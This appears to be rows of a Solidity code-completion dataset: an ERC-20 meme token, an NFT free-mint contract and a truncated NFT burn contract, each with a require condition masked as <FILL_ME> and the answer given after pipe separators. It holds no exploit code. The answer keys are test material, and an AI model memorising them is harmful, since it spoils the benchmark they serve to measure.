bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapTokensForExactETH(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapETHForExactTokens(
uint amountOut,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function quote(
uint amountA,
uint reserveA,
uint reserveB
) external pure returns (uint amountB);
function getAmountOut(
uint amountIn,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountOut);
function getAmountIn(
uint amountOut,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path)
external
view
returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path)
external
view
returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract MiniPepe2 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) private _botList;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 6;
uint256 private _redisFee;
uint256 private _taxFee;
string private constant _name = unicode"Mini Pepe 2.0";
string private constant _symbol = unicode"MPEPE2.0";
uint8 private constant _decimals = 9;
address routerAddress = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
address payable private _developmentAddress = payable(0xaA2538B64cdD034404aE4Df0b70697C2fCF4079E);
address payable private _marketingAddress = payable(0xaA2538B64cdD034404aE4Df0b70697C2fCF4079E);
IUniswapV2Router02 public router;
address public pair;
bool private inSwap = false;
bool private swapEnabled = true;
modifier lockTheSwap {
}
constructor () {
}
modifier onlyDev() {
require(<FILL_ME>)
_;
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function setPair(address _pair) public onlyDev{
}
function setRouterAdress(address _router) public onlyDev{
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
event tokensRescued(address indexed token, address indexed to, uint amount);
function rescueForeignTokens(address _tokenAddr, address _to, uint _amount) public onlyDev() {
}
event devAddressUpdated(address indexed previous, address indexed adr);
function setNewDevAddress(address payable dev) public onlyDev() {
}
event marketingAddressUpdated(address indexed previous, address indexed adr);
function setNewMarketingAddress(address payable markt) public onlyDev() {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function manualswap() external {
}
function manualsend() external {
}
function toggleSwap(bool _swapEnabled) public onlyDev {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyDev {
}
function tranferMultilWallet(address[] calldata accounts, uint256 amount) public onlyDev{
}
}
| owner()==_msgSender()||_developmentAddress==_msgSender(),"Caller is not the dev" | 87,322 | owner()==_msgSender()||_developmentAddress==_msgSender() |
"blackList for bot" | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
)
external
returns (
uint amountA,
uint amountB,
uint liquidity
);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (
uint amountToken,
uint amountETH,
uint liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapTokensForExactETH(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapETHForExactTokens(
uint amountOut,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function quote(
uint amountA,
uint reserveA,
uint reserveB
) external pure returns (uint amountB);
function getAmountOut(
uint amountIn,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountOut);
function getAmountIn(
uint amountOut,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path)
external
view
returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path)
external
view
returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract MiniPepe2 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) private _botList;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 6;
uint256 private _redisFee;
uint256 private _taxFee;
string private constant _name = unicode"Mini Pepe 2.0";
string private constant _symbol = unicode"MPEPE2.0";
uint8 private constant _decimals = 9;
address routerAddress = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
address payable private _developmentAddress = payable(0xaA2538B64cdD034404aE4Df0b70697C2fCF4079E);
address payable private _marketingAddress = payable(0xaA2538B64cdD034404aE4Df0b70697C2fCF4079E);
IUniswapV2Router02 public router;
address public pair;
bool private inSwap = false;
bool private swapEnabled = true;
modifier lockTheSwap {
}
constructor () {
}
modifier onlyDev() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function setPair(address _pair) public onlyDev{
}
function setRouterAdress(address _router) public onlyDev{
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
require(amount > 0, "Transfer amount must be greater than zero");
_redisFee = 0;
_taxFee = 0;
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != pair && swapEnabled && contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
if(from == pair && to != address(router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == pair && from != address(router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != pair && to != pair)) {
_redisFee = 0;
_taxFee = 0;
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
event tokensRescued(address indexed token, address indexed to, uint amount);
function rescueForeignTokens(address _tokenAddr, address _to, uint _amount) public onlyDev() {
}
event devAddressUpdated(address indexed previous, address indexed adr);
function setNewDevAddress(address payable dev) public onlyDev() {
}
event marketingAddressUpdated(address indexed previous, address indexed adr);
function setNewMarketingAddress(address payable markt) public onlyDev() {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function manualswap() external {
}
function manualsend() external {
}
function toggleSwap(bool _swapEnabled) public onlyDev {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyDev {
}
function tranferMultilWallet(address[] calldata accounts, uint256 amount) public onlyDev{
}
}
| !_botList[from],"blackList for bot" | 87,322 | !_botList[from] |
null | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
)
external
returns (
uint amountA,
uint amountB,
uint liquidity
);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (
uint amountToken,
uint amountETH,
uint liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapTokensForExactETH(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapETHForExactTokens(
uint amountOut,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function quote(
uint amountA,
uint reserveA,
uint reserveB
) external pure returns (uint amountB);
function getAmountOut(
uint amountIn,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountOut);
function getAmountIn(
uint amountOut,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path)
external
view
returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path)
external
view
returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract MiniPepe2 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) private _botList;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 6;
uint256 private _redisFee;
uint256 private _taxFee;
string private constant _name = unicode"Mini Pepe 2.0";
string private constant _symbol = unicode"MPEPE2.0";
uint8 private constant _decimals = 9;
address routerAddress = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
address payable private _developmentAddress = payable(0xaA2538B64cdD034404aE4Df0b70697C2fCF4079E);
address payable private _marketingAddress = payable(0xaA2538B64cdD034404aE4Df0b70697C2fCF4079E);
IUniswapV2Router02 public router;
address public pair;
bool private inSwap = false;
bool private swapEnabled = true;
modifier lockTheSwap {
}
constructor () {
}
modifier onlyDev() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function setPair(address _pair) public onlyDev{
}
function setRouterAdress(address _router) public onlyDev{
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
event tokensRescued(address indexed token, address indexed to, uint amount);
function rescueForeignTokens(address _tokenAddr, address _to, uint _amount) public onlyDev() {
}
event devAddressUpdated(address indexed previous, address indexed adr);
function setNewDevAddress(address payable dev) public onlyDev() {
}
event marketingAddressUpdated(address indexed previous, address indexed adr);
function setNewMarketingAddress(address payable markt) public onlyDev() {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function manualswap() external {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
}
function toggleSwap(bool _swapEnabled) public onlyDev {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyDev {
}
function tranferMultilWallet(address[] calldata accounts, uint256 amount) public onlyDev{
}
}
| _msgSender()==_developmentAddress||_msgSender()==_marketingAddress||_msgSender()==owner() | 87,322 | _msgSender()==_developmentAddress||_msgSender()==_marketingAddress||_msgSender()==owner() |
"free mint limit reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract CosmosNFT is Ownable, ERC721A, ReentrancyGuard {
constructor(
) ERC721A("CosmosNFT", "COSMOS", 2, 5555) {}
function reserveMint(uint256 quantity) external onlyOwner {
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
function refundIfOver(uint256 price) private {
}
uint256 private freeMintPrice = 0.000000 ether;
bool private freeStatus = false;
uint256 private freeMintAmount = 5555;
uint256 public immutable maxPerAddressDuringMint = 2;
mapping(address => uint256) public free;
function freeMint(uint256 quantity) external payable {
require(tx.origin == msg.sender, "The caller is another contract");
require(freeStatus, "free sale has not begun yet");
require(freeMintAmount >= quantity, "total free mint reached max");
require(totalSupply() + quantity <= collectionSize, "reached max supply");
if (free[msg.sender] != 0) {
require(<FILL_ME>)
free[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
freeMintAmount -= quantity;
refundIfOver(freeMintPrice*quantity);
} else {
free[msg.sender] = quantity;
_safeMint(msg.sender, quantity);
freeMintAmount -= quantity;
refundIfOver(freeMintPrice*quantity);
}
}
function setfree(address[] calldata free_) external onlyOwner{
}
function setfreeStatus(bool status) external onlyOwner {
}
function getfreeStatus() external view returns(bool){
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| free[msg.sender]+quantity<=maxPerAddressDuringMint,"free mint limit reached" | 87,453 | free[msg.sender]+quantity<=maxPerAddressDuringMint |
"Only the owner of the token can update the titan level" | // SPDX-License-Identifier: MIT
/*
.____ .__ .__ .___
| | |__| ________ __|__| __| _/
| | | |/ ____/ | \ |/ __ |
| |___| < <_| | | / / /_/ |
|_______ \__|\__ |____/|__\____ |
\/ |__| \/
___________.__ __
\__ ___/|__|/ |______ ____ ______
| | | \ __\__ \ / \ / ___/
| | | || | / __ \| | \\___ \
|____| |__||__| (____ /___| /____ >
\/ \/ \/
We don't need no water, let that motherf*cker burn!
*/
pragma solidity ^0.8.0;
interface IERC721 {
function ownerOf(uint256 tokenId) external view returns (address owner);
function getApproved(uint256 tokenId) external view returns (address);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC1155 {
function balanceOf(
address account,
uint256 id
) external view returns (uint256);
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
}
contract TitanNFTBurns {
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public Legends = 0x372405A6d95628Ad14518BfE05165D397f43dE1D;
address public Invaders = 0x2f3A9adc5301600Cd9205eF7657cF0733fF71D04;
address public Artifacts = 0xf85906f89aecA56aff6D34790677595aF6B4FBD7;
address public Titans = 0x21d6Fe3B109808Fc69CDaF9829457B0d780Bd975;
address public LiquidDeployer = 0x866cfDa1B7cD90Cd250485cd8b700211480845D7;
// NOTE: We could have done this brute-force with a bunch of static fields, but
// instead we are doing it with a dynamic set of traits contained in the traits
// struct and a mapping into that struct for updates. It's harder and takes
// a bit more gas, but doesn't force us into static traits in the future if
// we add additional items to the list
//
struct TokenBurnContract {
uint256 maxTokenId;
string name;
}
mapping(address => TokenBurnContract) public TokenBurnContracts;
struct TitanLevels {
address contractAddress;
uint256 tokenId;
}
mapping(uint256 => mapping(address => TitanLevels)) public AllTitanLevels;
constructor() {
}
// ------------------------------------------------------------------------
// Add and remove tokens that can be burned, spindled, folded, & mutilated
// ------------------------------------------------------------------------
function addTokenBurnContract(
address contractAddress,
uint256 maxTokenId,
string memory name
) public {
}
function removeTokenBurnContract(address contractAddress) public {
}
function updateTokenBurnContract(
address contractAddress,
uint256 maxTokenId,
string memory name
) public {
}
// -------------------------------------------------------------------------
// The functions used by the account burning the artifact or nfts for traits
// -------------------------------------------------------------------------
function getTitanLevels(
uint256 key,
address addr
) public view returns (TitanLevels memory) {
}
// This requires an approval for the contract and token before it will work
// Go to the original contract and "Approve All" instead of each token id
// to save gas over the long term
event TitanLevelUp(
address indexed owner,
uint256 titanId,
address contractAddress,
string contractName,
uint256 tokenId
);
function updateTitanLevel(
uint256 titanId,
address contractAddress,
uint256 tokenId
) public {
require(<FILL_ME>)
require(
IERC721(Titans).ownerOf(titanId) == msg.sender,
"You do not own this Titan!"
);
TitanLevels storage titanLevel = AllTitanLevels[titanId][
contractAddress
];
if (titanLevel.contractAddress == address(0)) {
titanLevel.contractAddress = contractAddress;
titanLevel.tokenId = tokenId;
} else if (titanLevel.tokenId + 1 == tokenId) {
titanLevel.tokenId = tokenId;
} else {
revert(
